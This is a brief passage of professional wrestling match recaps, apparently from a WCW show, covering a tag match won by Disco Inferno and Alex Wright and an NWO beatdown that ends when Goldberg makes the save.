Norman Smiley vs. Riggs

Armstrong Brothers vs. Disco Inferno/Alex Wright

Scott and Steve stomp away in the corner until the referee finally breaks it up, though it keeps him from seeing Disco backslide Steve. Disco and Steve collide and everything breaks down. Scott accidentally dropkicks Steve and a Disco facebuster into a Wright neckbreaker is enough for the pin.

Konnan/Diamond Dallas Page vs. Stevie Ray/Giant

The NWO beats up our heroes until Goldberg makes the save and stares down the Giant to set up the dark match main event.

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